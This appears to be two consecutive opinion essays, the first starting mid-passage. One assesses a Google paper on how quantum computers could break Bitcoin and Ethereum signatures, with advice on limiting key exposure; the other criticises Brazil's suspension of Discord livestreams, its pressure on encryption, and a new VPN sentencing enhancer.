On superconducting hardware, with standard error-correction assumptions, that would fit in under 500,000 physical qubits — nearly 20 times fewer than prior estimates — and run in 9 to 12 minutes from a precomputed state. Hold onto that number: 9 minutes. It’s the scary one, because it’s shorter than Bitcoin’s average block interval.

Second: they didn’t publish the circuit. Here’s a move that’s elegant and controversial at once. To prove they have a circuit that size without handing everyone a loaded gun, they published a zero-knowledge proof: a mathematical proof that they possess the circuit, without revealing the circuit. Responsible in intent. Except, as I’ll get to, this part was the shakiest piece of the whole story.

If “zero-knowledge proof” sounds esoteric, the idea is simple and old in cryptography: prove you know or have something without revealing the thing itself. You can prove you’re of legal age without showing your birthdate, or that you know a password without typing it.

It’s the same trick behind the privacy of several cryptocurrencies: Zcash uses ZK (the so-called zk-SNARKs) to validate shielded transactions without exposing amount or address, Monero uses range proofs (bulletproofs) to hide how much was sent, and Ethereum’s zk-rollups use ZK to prove a batch of transactions is valid without reprocessing all of it. In the paper, Google uses the same family of tool to prove it possesses the circuit, without handing over the circuit.

Third: not every quantum computer is good for everything. The paper draws a distinction that’s the text’s best practical contribution. There’s the “fast clock” (superconducting, photonic) and the “slow clock” (trapped ions, neutral atoms), with a 100x to 1,000x speed difference. Out of that speed come three types of attack:

• On-spend attack: the attacker intercepts your transaction in the mempool, breaks the key, and injects a rival transaction before your spend lands in a block. Needs a fast clock, because it’s a race against the block clock.
• At-rest attack: the public key is already exposed on the blockchain (a dormant wallet, a reused key). The attacker has days or months to work. Even a slow clock does the job.
• On-setup attack: a single quantum computation extracts a secret from a cryptographic ceremony and becomes a reusable master key, which then runs on ordinary classical computers. This one’s the most insidious, and it hits things like Ethereum’s data-availability mechanism.

Fourth: the map of who bleeds. On Bitcoin, the at-rest targets are the old P2PK scripts (about 1.7 million BTC, almost all Satoshi-era and probably lost), Taproot (P2TR, which exposes the key), and any reused address.

All told, the paper estimates around 6.9 million BTC vulnerable today, of which some 2.3 million have been dormant for more than five years. Modern addresses that hide the key behind a hash and have never spent stay safe at rest.

And there’s good news buried here: Bitcoin mining is not at risk. Grover’s algorithm, which would attack mining, has too small a gain and doesn’t parallelize; error-correction overhead eats it all. The paper buries that myth on purpose.

Bitcoin mining is not at risk. Quantum toppling Proof-of-Work is the myth this paper buries on purpose.

Fifth: Ethereum has a much larger surface. The account model exposes the public key permanently after the first transaction, unlike Bitcoin’s UTXO model. Add to that contract admin keys (stablecoins, bridges, oracles), the BLS signatures holding up Proof-of-Stake consensus, and the KZG commitments in the data layer. More stuff exposed, and much of it you can’t “change addresses” to escape.

And how does the paper argue all this? Three legs: the resource estimates (with the zero-knowledge proof for credibility), real blockchain data (the BTC and ETH at-risk figures come from public BigQuery queries), and the honest framing that the goal is to sound the alarm to migrate, making clear the machine is still to come.

The paper, by the way, gives no date. It sizes the machine and stops there; the calendar stays open.

Where I agree and disagree with the other models

I asked GLM 5.3, Kimi K3, and ChatGPT (GPT 5.6) to analyze and criticize the paper. The interesting part is that all three, and I, converge on the essentials and diverge on exactly the same points. That’s a good sign: when different models hammer the same nail, the nail usually exists.

What everyone agrees on (me included):

• The logical-resource estimate is credible. It’s not a number out of nowhere: it follows the historical trajectory (the cost to break RSA-2048 fell from ~1 billion qubits in 2012 to under 1 million in 2025) and comes from the very group that produced the field’s best estimates.
• The fast-clock / slow-clock distinction and the spend / rest pairing are the right lens for thinking about mitigation.
• The mining immunity is correct and needed saying out loud.
• Dormant assets are a real problem no software fork solves on its own, because nobody holds the private key to move the lost coins.

What everyone flags (and I flag harder):

ChatGPT was the sharpest on a distinction worth gold: there’s a gulf between “value at risk” and “expected loss”. When the paper says “20.5 million ETH in vulnerable accounts” or “6.9 million BTC exposed,” that measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

There’s overlap, there’s multisig, there’s admin keys you can rotate, there are contracts with an emergency council that pauses everything. Stacking those numbers into a “trillions at risk” headline is dishonest to the paper itself.

“Value at risk” measures how much the system leans on fragile cryptography. It’s a far bigger number than what an attacker could actually steal.

Same goes for the famous 41% chance of theft on Bitcoin. That number is only the probability that the 9-minute computation finishes before the next block shows up (a block arrives every 10 minutes on average, but with a lot of variance). It’s not the chance of stealing your money.

To steal, the attacker still has to propagate the rival transaction, convince a miner to include it, win the fee race. And the paper itself assumes attacker-friendly conditions (no network congestion, instant delivery). Kimi and ChatGPT hit this one, and they’re right.

The most important point, and one I think the paper leaves between the lines on purpose: the 500,000 physical qubits and the 9 minutes describe a conditional engineering scenario. On dates, the paper says nothing. It’s a blueprint for a machine that could do the attack, assuming a 0.1% error rate, 1-microsecond correction cycles, low-latency decoding, enough magic-state factories, and half a million qubits running stable for minutes on end.

Each assumption is reasonable in isolation. The whole chain working together, at that scale, nobody has demonstrated.

And here’s the most interesting part, which Kimi and ChatGPT caught and I confirmed by searching outside: the zero-knowledge proof mechanism had a bug. Trail of Bits managed to forge a proof by exploiting memory and logic bugs in Google’s Rust verifier code, to the point of generating a proof that reported zero Toffoli gates for a circuit that wasn’t even reversible.

Notice what that breaks and what it doesn’t. The flaw was in the software that checks the proof, not in any demonstration that the paper’s circuit is wrong. The proof stopped being trustworthy, and the scientific claim itself stayed standing, neither proven nor disproven. Google patched the verifier in version 2.

The lesson is about trust: instead of trusting Google’s word, the proof was asking you to trust its parser, its compiler, and its simulator.

And that’s exactly why the independent reproduction matters so much. In June 2026, researcher André Schrottenloher rebuilt the circuits in the open, landing in the same region: about 56 million Toffoli gates, with the entire circuit published and reproducible.

Gidney himself acknowledged the reproduction captured the essential breakthrough, and after that others already pushed the number below a thousand logical qubits. So: the paper’s central claim held up, but through a route that doesn’t depend on trusting anyone’s proof software. Open science is what closed the case.

One last point almost nobody raises and I think needs saying: conflict of interest. Seven authors are from Google Quantum AI, whose hardware roadmap is precisely the superconducting architecture the paper makes look like the nearest threat. And there’s an Ethereum Foundation coauthor on a paper that ranks Ethereum as more exposed and recommends urgent migration.

The authors disclose long positions in crypto and no shorts, which is honest. None of this invalidates anything — the team’s technical chops are the best in the field — but it calls for a calibrated read, with a cool head.

The question that matters: what are the real odds, and when?

Let’s separate the theoretical from the real, which is where most of these debates turn to mush.

In theory, the answer is yes, comfortably. If a big, stable enough machine exists, Shor’s algorithm breaks secp256k1. On the math side it’s already settled; what’s left is engineering. The whole question boils down to: when does that machine exist?

Physical qubit versus logical qubit

A quick aside to separate two numbers that trip almost everyone up: physical qubit and logical qubit. The physical qubit is the real hardware, and it’s noisy; it loses its state in a blink, from interference, heat, vibration. On its own, it errs far too much for any serious computation.

The fix is error correction: you gang up hundreds or thousands of physical qubits, all representing one logical qubit, and use the redundancy to detect and repair errors in real time. The logical qubit is the “real,” stable qubit the algorithm actually sees.

And that’s where the difficulty hides behind the numbers. The attack doesn’t just ask for 1,200 logical qubits; it asks for 1,200 logical qubits working together, all stable at the same time, for minutes on end, running tens of millions of operations without the correction system getting buried under errors.

It’s like keeping a thousand plates spinning at once, each plate made of a thousand pieces that want to fall, for the entire length of the show. Keeping a single such plate up for an instant was the historic feat of 2024. The jump to a thousand plates, spinning for minutes, is the real chasm.

Where the hardware stands today

In today’s reality, we’re far off. Google itself helps measure the distance. Willow, their flagship chip, demonstrated below-threshold error correction in 2024, a historic feat. But the result was a single well-corrected logical qubit, built from 101 physical ones, which outlived every one of them.

If the ruler is the number of logical qubits running together, the public record today is around a dozen (Quantinuum reached 12). The paper asks for more than 1,200. On both rulers, quality and quantity, the distance runs to roughly a hundredfold, and each logical qubit still costs thousands of physical qubits with the stability we’re missing.

In physical qubits, the largest announced system is in the low thousands; the attack wants nearly half a million. Several orders of magnitude of distance, across several dimensions at once. Nothing a fine-tuning pass fixes.

Today’s best hardware works with logical qubits in the dozen range. The attack needs more than a thousand. The gap is orders of magnitude.

There’s also a bet that sidesteps this brute-force game: the topological one, from Microsoft. The idea is a hardware-protected qubit, naturally more error-resistant, which would slash the count of physical qubits per logical one. Majorana 2, in 2026, swapped aluminum for lead and jumped coherence from milliseconds to 20 seconds, and Microsoft pulled its fault-tolerance target from 2033 to 2029.

But it’s the most disputed bet of them all. Much of the community doubts a real working topological qubit is even there; the latest paper shows only half the measurements that would prove the qubit. If it pans out, it’s a shortcut for everyone; if not, it’s a dead end. I broke this case down in a separate article.

The roadmaps and the timelines

The near future is where the real debate lives. The honest way to talk about it is with estimates, because nobody has certainty here. The most-cited reference is the Global Risk Institute’s Quantum Threat Timeline, an annual survey of experts in the field.

The 2025 edition gives something like 34% odds of a cryptographically relevant quantum computer by ~2030 and ~49% by ~2035, with the median opinion landing between 2029 and 2032. And those estimates are for a generic CRQC, typically framed around breaking RSA-2048.

On the manufacturing side, the most explicit roadmap is IBM’s. It projects Starling in 2029, the first large-scale fault-tolerant machine, with 200 logical qubits and 100 million operations.

Notice that 200 still sits below the more than 1,200 the attack asks for. The machine of the right size only shows up on the next step, Blue Jay, slated for 2033, with 2,000 logical qubits and a billion operations.

So even on the industry’s own most aggressive roadmap, hardware with enough logical qubits to threaten secp256k1 arrives around 2033, with the usual caveat: quantum roadmaps slip. IBM is betting on qLDPC codes to get there, which cut the physical qubits behind each logical one by about 90% compared to Willow’s surface code.

And China? It’s right there at the frontier, which kills the one-horse-race framing. USTC’s Zuchongzhi 3.2 crossed the same error-correction threshold as Willow in 2025, with a distance-7 surface-code logical qubit, and it was the first team outside the US to get there.

But notice it’s the same milestone: a single well-corrected logical qubit, the same hundredfold gap to 1,200. And publicly, China hasn’t put a dated roadmap for the big machine on the table the way IBM has; the stated plan is incremental, pushing the code distance to 9 and 11. At the science frontier, it’s a tie; on a calendar to the machine that breaks crypto, neither side has an easy date.

A warning about all these dates: they’re the best case, with every published roadmap landing on time. A roadmap is a statement of intent, and quantum computing’s track record is one of timelines slipping forward.

I’ll go further, and this is my own opinion: I’d bet on a timeline at least an order of magnitude longer than these roadmaps. Keeping thousands of logical qubits in sync, error-free, for minutes on end, is anything but a linear problem. My gut says each extra logical qubit makes the whole set exponentially harder to hold together: the difficulty of syncing multiplies with every new piece, rather than just adding up.

My read, in numbers

Mapping that onto crypto specifically, my read in round numbers, taking the roadmaps at face value (far more optimistic than my own bet just above), and always as estimate and opinion:

• Next 2 to 3 years (through ~2029): near zero. Going from 12 to 1,200 stable logical qubits in that window isn’t on any serious public roadmap.
• The 2030–2032 horizon: low, but not negligible. Maybe 10% to 20% that the machine exists in principle. The actual theft chance is lower still, because the highest-value targets (exchanges, modern wallets) will have moved by then.
• Around 2035: here it becomes a coin flip for a generic CRQC, in the 40% to 50% range per the experts. Except “a CRQC exists” isn’t the same as “they stole your money.” By then, migration should be well underway.

The detail that decides everything, and that Mosca sums up in a simple theorem: what matters is the machine’s date minus the time your migration takes. If migrating takes years, and the machine could arrive in five to ten, you’re already in a bind, even with low short-term odds. That’s why “start now” makes sense even with clear skies. Asymmetric risk management, with a cool head.

Why this isn’t “it’s over, everything’s lost”

Even in the scenario of a ready machine and a bad actor, the damage is surgical, hitting specific targets instead of wiping everything. And the reason is simple to grasp.

Your crypto doesn’t live on your hard drive or your Ledger. It lives on the public blockchain, in plain sight, all the time. The device only holds the private key that authorizes moving it. Anyone can hit a block explorer, type an address, and see the balance. What decides your quantum exposure is one thing only: has your public key shown up somewhere?

On modern Bitcoin addresses (the bc1q ones, which hide the key behind a hash), as long as you’ve never spent from that address, the public key isn’t exposed. The quantum attacker has nowhere to start, because it breaks the public key, and the key isn’t there. Those funds are safe at rest.

Exposure is only born the moment you spend, and even then it’s a window of minutes, against a block clock, needing that fast-clock machine that doesn’t exist yet.

Watch the word, though: “quantum-resistant” is too big for these addresses. What they give you is at-rest protection, good only while the key stays hidden behind the hash. The day you spend, the public key hits the block and opens the on-spend window. The permanent shield only comes with migrating to a post-quantum signature; the hash just buys time until then.

That’s why the paper talks about roughly 6.9 million vulnerable BTC, out of the nearly 20 million that exist. The biggest slice of that is reused keys and Satoshi-era P2PK, which are probably lost anyway.

It concentrates in a subset of addresses with one specific behavior, an exposed key, while the rest of the network stays out of it. Anyone using a fresh address per receipt and not spending from the same place over and over is, in practice, off the at-rest radar.

The vulnerable crypto is a subset of addresses with one specific behavior: an already-exposed key. A fresh, no-reuse wallet stays out of it.

What you can do today

Here comes the question that always shows up, and the answer that disappoints anyone hoping for a magic button.

“If I create a wallet with a stronger password/passphrase, does that help?” No. And understanding why teaches the whole problem.

A strong passphrase protects your seed — those 12 or 24 words — against someone trying to guess or steal the backup. That’s great and you should do it, but it’s a defense against a classical attack.

And don’t mix up the problems: a badly generated seed is a separate failure, from the classical world. That’s what happened with Coinkite’s weak RNG, where the ColdCard itself spat out predictable keys from bad entropy at the source. There the defect is in how the key is born; quantum attacks the math of the already-finished key.

The quantum computer doesn’t guess your seed. It takes your public key, sitting in plain sight on the blockchain, and computes the matching private key with Shor. It doesn’t matter whether your private key came from a 4-character passphrase or a 40-character one: once the public key has shown up, password strength is irrelevant. Quantum attacks the curve’s math, and that math is the same for everyone.

Quantum doesn’t guess your seed. It computes your private key from the public key already in plain sight. Password strength doesn’t enter into it.

What actually moves the needle is key-exposure hygiene:

• Don’t reuse addresses. One address per receipt. The moment you spend from an address, its public key goes to the blockchain; if you keep using that address, the remaining balance becomes exposed at rest.
• Keep the bulk in modern addresses that hide the key behind a hash (bc1q, P2WPKH) and that you’ve never spent from. Avoid parking reserves in Taproot (bc1p) and in old P2PK addresses, which expose the key directly.
• Don’t spread your extended public key (xpub) around. Portfolio tools, a shared spreadsheet, a third-party integration: every place that gets your xpub is one more exposure point.
• When real post-quantum wallets show up, migrate. That’s the definitive step, and it’ll arrive via a software update.

And the most important thing to keep your head straight: if you store on a serious exchange or use a modern wallet without reuse, your short-term risk is practically zero. The exchange is the one that’ll have to migrate for you (with the custody risks that already exist, quantum or not). No need to run around today moving anything in a panic.

What the industry can do, without going radical

On the protocol-builder side, the temptation is the extreme: “drop everything and switch to post-quantum signatures tomorrow.” That’s as bad as “ignore it, it’s FUD.” Post-quantum cryptography is newer, less battle-tested, has much larger keys and signatures, and swapping blind introduces new bugs where there were none. The sensible path is defense in depth, starting with what’s cheap.

Intermediate measures, easier than the full swap:

• Kill key reuse and minimize public-key exposure in the protocol and wallets by default.
• Private mempools and commit-reveal schemes, which close the on-spend attack window.
• Validator key rotation on Ethereum, a simple stopgap against the consensus attack.
• On Bitcoin, proposals like BIP-360 (the P2MR script), which removes Taproot’s at-rest key exposure.

The medium-term bridge: hybrid signatures, which combine today’s elliptic curve with a post-quantum scheme (lattice-based, for instance). You stay protected against both worlds at the cost of larger signatures, and you don’t bet everything on a new scheme that might have an undiscovered weakness.

The ground is more mature than it looks. NIST has already standardized post-quantum schemes (ML-DSA, the former Dilithium; Falcon; SPHINCS+). Ethereum is discussing post-quantum precompiles (EIP-7932) and account abstraction, which shrink the surface without a traumatic hard fork. Blockchains like Algorand, XRP Ledger, and QRL already experiment with PQC or were born with it. The rail for this migration is already laid, far from a leap in the dark.

And the piece nobody has solved: dormant assets. The lost P2PK coins, including the ~1 million BTC attributed to Satoshi, have no owner to migrate them.

The paper discusses options — do nothing, burn the coins via soft fork, a “recovery sidechain,” or even government-regulated salvage, on the sunken-treasure analogy.

Here I’ll be blunt: this part is the paper’s weakest. It’s political opinion dressed up as a technical conclusion. Nothing in the qubit estimate says who should keep a lost coin, or whether sitting still for five years extinguishes a property right.

These are thorny legal and political choices the paper raises honestly but is nowhere near closing. Good that the conversation starts; bad to treat it as if there’s a ready answer.

The policy section on lost coins is the paper’s weakest: there the science stops and the opinion begins.

Where we actually stand

Summing up the near-future quantum picture in a few layers, ruler always calibrated:

The paper is serious and its math stands, now confirmed by open, independent reproduction. The threat is real enough to justify action, and the reason has a name: Mosca’s theorem. Since migrating takes years, you start before the machine exists, the same way you replace a roof before the storm, while the weather’s good.

But none of this is “sell everything, Bitcoin is done.” The attack is about exposed keys, it’s a subset of addresses, it needs a machine that’s orders of magnitude from existing, and the defenses that matter now are boring hygiene: don’t reuse addresses, don’t park reserves in an exposed key, and migrate to post-quantum when the tooling matures.

Mining is not at risk, your modern no-reuse wallet is not at risk today, and the strongest passphrase in the world changes none of it.

That’s how to read Google’s paper: a competent, self-aware warning, from people who know the subject, saying the window to migrate calmly is narrower than intuition suggests — and still wider than the headline makes it look. Read it straight from the source and draw your own conclusion. Just don’t fall for “it’s over” or “it’s all a lie.” The interesting answer, as almost always, lives in the middle.

In six days, Brazil went from a tragedy to a regulatory precedent that should worry anyone who understands technology. On July 22, a 13-year-old girl died in Naviraí, Mato Grosso do Sul, during a live broadcast on Discord, coerced by a group the police are investigating as a criminal organization. On August 12, the ANPD, Brazil’s data protection authority, ordered Discord to suspend live broadcasting nationwide.

In between: the First Lady demanding the platform be blocked at an official ceremony, the Attorney General announcing a public civil action, and the first major enforcement action in the history of the Digital ECA Law — Brazil’s new online child-protection statute, named after the Estatuto da Criança e do Adolescente, the Child and Adolescent Statute. Let’s go piece by piece, because the devil lives exactly in the pieces.

The Naviraí case

The facts, per the Mato Grosso do Sul Civil Police and G1: Lívia, 13, was found dead in her backyard on the morning of July 22. She took her own life during a broadcast on Go Live, Discord’s live video feature, under pressure, humiliation, and explicit encouragement from other users. More than 200 people were watching.

Operação Lívia, launched on August 4 with warrants across five states, revealed what was behind it: a group made up mostly of teenagers, the alleged leader just 14, that recruited minors via Discord and Telegram, spread neo-Nazi and misogynistic content, and is being investigated for qualified homicide and criminal organization. A second girl was induced to self-harm during the same livestream but left the broadcast.

Hold on to two details for later: the group operated on more than one platform, and the Ministry of Justice asked the ANPD to investigate Discord and Telegram. Only one of the two was sanctioned.

From the First Lady to the ANPD in six days

On August 6, at the signing ceremony of the bill PL 3066/2025 (which stiffens penalties for digital crimes against children — keep that bill in mind, it comes back shortly), First Lady Janja da Silva left no room for doubt: “we need to block Discord in Brazil by any means necessary… we need to work with the Judiciary to take this horrendous network offline.” The Attorney General, Jorge Messias, announced right there a public civil action to take the platform down.

On the 7th, the ANPD opened an enforcement proceeding against Discord, giving the company five business days to explain itself. On the 12th, out came the preventive measure: Discord must suspend Go Live and equivalent video-sharing features in Brazil within three business days, and can only turn them back on after proving effective child-protection measures and obtaining express ANPD authorization. The legal basis: articles 6, 10, 17, 28, and 29 of the Digital ECA Law, with fines up to R$ 50 million per infraction (art. 35).

Discord called the measure “premature”: it received the case file on Friday, was still within its response window, and says it removed the private server where the crime happened. And it dropped the most interesting sentence in the whole response: its internal investigation found evidence that “the criminal activity was coordinated on other platforms before the server was created on Discord and continued on them afterward.”

A necessary clarification here. A version has circulated claiming the case originated on Instagram. I went looking and found no source confirming it: the platform named by police, besides Discord, is Telegram. Discord doesn’t name the “other platforms.” What matters still stands, just with a different name in the slot: the case was not exclusive to Discord, the Ministry of Justice asked for two platforms to be investigated, and only Discord got the sanction. Telegram, which barely has legal representation in Brazil, remains untouched.

And that’s where the first uncomfortable question shows up: if the problem is systemic, why is the sanction surgical?

What the Digital ECA Law is, a.k.a. the “Felca Law”

The sanction was only possible because of a brand-new law. In August 2025, the YouTuber Felca published the video “Adultização” (“Adultification”), exposing profiles that monetized sexualized content involving minors — the most shocking case being influencer Hytalo Santos, arrested that same month and convicted in February 2026 to over 11 years in prison. The video passed 30 million views, the Senate opened a parliamentary inquiry, and Congress rushed the bill PL 2628/2022 through under urgency, authored by Senator Alessandro Vieira.

The result: Law 15,211 of September 17, 2025, the Digital Statute for Children and Adolescents, in force since March 17, 2026. The points that matter for this discussion:

• Duty of care (art. 6): platforms must take “reasonable measures from the design phase” to prevent minors’ exposure to sexual exploitation, violence, and inducement to self-harm and suicide.
• Age verification (art. 9, §1): “reliable age-verification mechanisms at every access”, with a devastating punchline: “self-declaration is forbidden.”
• Notice and takedown (art. 29): a duty to remove content violating children’s rights as soon as notified, no court order required.
• Enforcer: the ANPD, which stacked the job on top of the LGPD (Lei Geral de Proteção de Dados, Brazil’s General Data Protection Law) and, since May 2026, duties under the Marco Civil da Internet (Brazil’s internet bill of rights). It became the country’s de facto digital regulator.
• Fines up to 10% of Brazilian revenue, capped at R$ 50 million per infraction. Suspension of activities, on paper, only through the Judiciary (art. 35, §5).

That last point is already contested: experts interviewed by Folha point out that the ANPD’s “preventive measure” may in practice be a temporary suspension of activities — a sanction the law reserves for the Judiciary. Barely born, the regulation is already flirting with its own illegality.

Worth remembering the bigger context: in June 2025 the Supreme Court partially struck down art. 19 of the Marco Civil, ending the requirement of a specific court order to hold platforms liable. In June 2026 the same court consolidated a “duty of care” with categories for immediate removal, including suicide inducement and grave crimes against children. The Digital ECA Law legislates in that direction. In one year, platform liability in Brazil went from reactive to proactive.

The oxymoron: “you may encrypt, as long as we can read it”

Now the core of it, which is what made me write this. The ANPD’s official justification for suspending Go Live deserves a careful read: Discord’s architecture uses end-to-end encryption, the platform has no access to livestream content, and therefore real-time moderation is impossible. In the ANPD’s assessment, if moderation depends on flawed automated systems and on reports from people inside the very room where the crime is happening, the feature is incompatible with the law.

Read that again, slowly. The ANPD didn’t ban encryption — a direct ban would be indefensible in public. It said something else, far more ingenious: you may have end-to-end encryption, as long as you can monitor the content to comply with your legal duties.

Except that’s an oxymoron. The entire point of end-to-end encryption is that the server carries ciphertext and cannot read it. To “monitor the content,” that content has to arrive at the servers in the clear — and then it’s not end-to-end anymore. There is no third option: either it’s illegible to the platform, or it’s legible. The ANPD didn’t criminalize encryption; it merely made it impossible to offer real encryption and operate in Brazil at the same time. Saying “they banned cryptography” is technically wrong. Functionally, it’s exactly what happened.

And I’m not the one saying it. Carlos Affonso Souza, director of ITS Rio, told CNN Brasil this is the first time the ANPD has treated end-to-end encryption as a regulatory obstacle, a dangerous precedent comparable to the WhatsApp blocks — and that criminals will simply migrate to less cooperative platforms with no legal presence in the country (did someone say Telegram?).

To be fair to the debate: the law’s text never mentions encryption once, and art. 34, §1 expressly forbids “massive, generic or indiscriminate surveillance mechanisms.” Fact-checkers debunked the rumors that the Digital ECA Law would read your WhatsApp. All of that is true — and all of that is about paper. In practice, the first major enforcement in the law’s history treated the technical impossibility of surveillance as grounds to kill a feature. Paper accepts anything; the enforcer’s pen is what writes the real law.

And there are hooks in the letter of the law waiting to be used: art. 18, III requires parental-control tools to “identify the profiles of adults with whom the child or adolescent communicates” — explain to me how an end-to-end encrypted messenger complies with that. Art. 27 orders providers to “remove and report” abuse content “detected” directly or indirectly — and detection presupposes seeing. Neither has been used yet. The Go Live precedent shows how they’ll be read when they are.

Remember this: the ANPD didn’t ban encryption. It banned a feature whose encryption prevents content surveillance. The practical effect is identical: in Brazil, end-to-end encryption is now a regulatory risk.

Digital ECA Law vs. the LGPD

The bigger irony is institutional. In 2018 we passed the LGPD to protect Brazilians’ personal data, built on principles like minimization (collect only what’s necessary) and purpose limitation (use it only for what it was collected for). The Digital ECA Law, enforced by the same agency, pushes the other way.

Age verification is the crystal-clear example. “Self-declaration is forbidden” means every user, adults included, will have to prove their age to access ordinary services. Prove it how? ID documents, facial biometrics, verifiable credentials. Gazeta do Povo heard experts warning about the obvious: we’re building a permanent identification infrastructure for everyone on the internet, with biometric data that, once leaked, can’t be changed — you can change a password, you can’t change your face.

And it’s not theory. An open letter signed by 438 scientists from 32 countries calls these systems “useless and dangerous”: trivially bypassed with VPNs and deepfakes, biased against minorities. And it cites the perfect example — Discord itself, which leaked ID photos of ~70,000 users precisely because of outsourced age verification. The platform the ANPD is punishing for not surveilling is the same one that proved, in practice, the cost of collecting.

The law has safeguards on paper — art. 13 limits the use of verification data “solely for that purpose,” art. 12 talks about minimization. But notice the structural conflict of interest: the ANPD holds three mandates: LGPD, Digital ECA Law, and Marco Civil. The agency that should defend the minimization of your data is the same one now demanding you hand it over. When those two roles collide inside the same body, which one do you think wins?

The other law of August 6: using a VPN now weighs on your sentence

Remember how the ceremony where the First Lady demanded the block was the signing of another law? It’s worth looking at what else was signed that day, because one article of PL 3066/2025 went almost unnoticed outside the tech bubble: art. 226-A, which raises sentences by one third to two thirds for crimes under the Child and Adolescent Statute committed using proxies, VPNs, or any IP-masking or anonymization technique.

Ayub, who has followed digital legislation for years, sounded the alarm back in May, when the Chamber of Deputies approved the text: “it provides prison for anyone who develops or provides VPN services. You can’t say I didn’t warn you.”

One clarification matters here, because checking sources is what separates analysis from panic. The original draft by congressman Osmar Terra did criminalize developing, distributing, or selling IP-masking software — in practice, it turned the VPN-developer profession into a crime. But the bill went through a technical working group that heard the Federal Police, prosecutors, the child-safety NGO Safernet, and the platforms themselves, and the final rapporteur, congresswoman Rogéria Santos, removed the development criminalization and kept only the sentence enhancer, with an express safeguard for lawful use. Ayub’s tweet describes the bill that went into the Chamber, not the law that came out. His warning, though, captured the direction — and the direction held.

Because what survived is already plenty. ISOC Brasil pointed out (ISOC is the Internet Society) that the enhancer puts VPN use on the same penal footing as armed robbery. And an open letter to the Senate, signed by the EFF (Electronic Frontier Foundation), the Tor Project, Artigo 19, Data Privacy Brasil, and half a dozen other organizations, explained the obvious to anyone in the field: proxies and VPNs are standard corporate security infrastructure, recommended by international standards like ISO/IEC 27001; identifier anonymization is a native feature of browsers like Firefox and Brave; and your employer probably requires you to use a VPN to work from home. The Senate didn’t listen. On August 6, the article became law — at that very ceremony.

The sentence from the letter that should haunt any legislator: “legal precedents rarely remain confined to the hypothesis that justified their creation.” In the letter’s formulation, it’s the first time Brazilian criminal law treats a neutral security technology as, by itself, grounds for a harsher sentence. Today the hypothesis is crimes against children — the one nobody dares question in public, and the bill’s authors knew it. Tomorrow it’s any crime. The next congressman who wants to enhance theft “committed through VPN use” already has the precedent ready, voted and signed.

And notice the ingenuity, identical to the encryption play: nobody banned VPNs — a direct ban would be indefensible. A mechanism was merely created to treat VPN users as qualified suspects. Think about the execution: to apply the “lawful use” safeguard, the State first needs to know you use a VPN and then determine whether your use was lawful. In other words, every user of a privacy tool becomes, by default, a potential object of verification. The safeguard doesn’t protect the user — it authorizes their inspection.

And there’s a fine irony to close: the 438-scientist letter I mentioned in the previous section warns that age verification is bypassed with VPNs. The Brazilian legislator’s answer wasn’t to rethink age verification. It was to half-criminalize VPNs. The siege closes from both sides, always with the same little plaque of good intentions nailed on top.

Remember this: nobody banned VPNs in Brazil. Something subtler was created: the first criminal-law precedent where using a neutral privacy tool weighs against you. Today it enhances crimes against children. The precedent itself has no owner.

And the actual criminals?

There’s a contradiction in this story that almost nobody commented on. The sanction against Discord came down in six days, with a potential R$ 50 million fine per infraction. And what happens to the perpetrators of the crime that motivated all of this?

The Naviraí group was made up of five teenagers aged 13 to 17 and one 18-year-old. The alleged leader is 14. Under Brazilian law, only the 18-year-old answers as an adult, for qualified homicide. The other five fall under the ECA regime — the classic one, not the digital one: socio-educational internment, with a three-year ceiling and compulsory release at 21. The case is sealed and we don’t know what measures were applied, but that’s the ceiling, no matter the cruelty. The intellectual mentor of the Suzano school massacre, with 10 dead, was 17 and was interned — three years, regardless of the body count.

And there’s a calendar irony: in February 2026 Brazil signed a law making online inducement to suicide and self-harm a heinous crime, with doubled penalties for group leaders. For adults. For the five Naviraí teenagers, investigated for exactly that, nothing changes: the ceiling is still the ECA’s three years.

It stays this way by choice, and not for lack of trying. In March 2026, the rapporteur of the Public Security constitutional amendment included a referendum on lowering the criminal age to 16; the government called the reduction “ineffective and unconstitutional” and the passage was stripped so the amendment could pass — approved 487 to 15 without a single line on the subject. In June, the Chamber’s Constitution and Justice Committee approved the admissibility of another reduction amendment, 44 to 18, but it still needs 308 votes in two plenary rounds — exactly the wall where the 2015 version died. Even the middle way stalls: the bill PL 1.473/2025, which would raise maximum internment from 3 to 5 years (10 for violent crimes), passed the Senate in October 2025 and has been sleeping in the Chamber ever since.

Meanwhile, organized crime does the math. Factions recruit teenagers on purpose, because they know the ECA shields the triggerman: in the faction attacks in Ceará, adults paid R$ 1,000 to R$ 5,000 per attack for teenagers to torch vehicles — the boss doesn’t expose himself, the executor doesn’t go to prison. The Naviraí group is the digital version of the same logic: a 14-year-old leader coordinating crimes that, committed by an adult, would mean decades in prison.

And Brazil has become an outlier even in its neighborhood. Argentina approved lowering the age from 16 to 14 in February. Sweden, of all countries, dropped to 13 for serious crimes starting in July — after gangs started recruiting children on Snapchat for attacks precisely because they couldn’t be prosecuted. England prosecutes from age 10 (though its own Bar Council wants to raise it to 14), most American states transfer 14-year-olds to criminal court for murder, Portugal at 16.

For the record, the other side exists: UNICEF came out against the reduction, and the recidivism data is uncomfortable for both sides — ~43% after internment, ~70% after regular prison. If we’re going to debate the model, let’s debate it. What doesn’t fly is the current result: a new law managed in six days to take offline a feature used by millions of innocent people, while the system that punishes the perpetrators hasn’t moved in thirty years. We punish the pipe because the pipe is what’s within reach.

Remember this: six days to sanction a platform used by millions of innocent people; thirty years without touching the ceiling for those who committed the crime.

Meanwhile, at the Supreme Court: source protection breached

If it were only Discord, you could call it a regulatory accident. But in the same week, another pillar fell.

Since November 2025, journalist Luís Pablo, from Maranhão, had been publishing reports about the use of an official car of the TJ-MA (Tribunal de Justiça do Maranhão, the Maranhão state court) by Supreme Court minister Flávio Dino and family members. In March, Alexandre de Moraes authorized a search and seizure against the journalist — in a decision that cited the fake news inquiry, which the Court’s press office later denied. Phones, a notebook, and a pen drive seized. In April, the equipment was returned, but the forensic analysis continued.

On August 11, the Federal Police served warrants against Raimundo Cutrim, Maranhão’s former security secretary — identified as the journalist’s source. How did they get to him? Through the analysis of the journalist’s seized devices.

See the mechanism? Article 5, XIV of the Constitution protects source secrecy, and the journalist can refuse to reveal it — as he did, staying silent in his deposition. So they didn’t ask. They seized his work material, read everything, and identified the source behind his back. Constitutional scholar Vera Chemin summed it up on CNN: “you cannot breach the secrecy first and then check whether a crime occurred.”

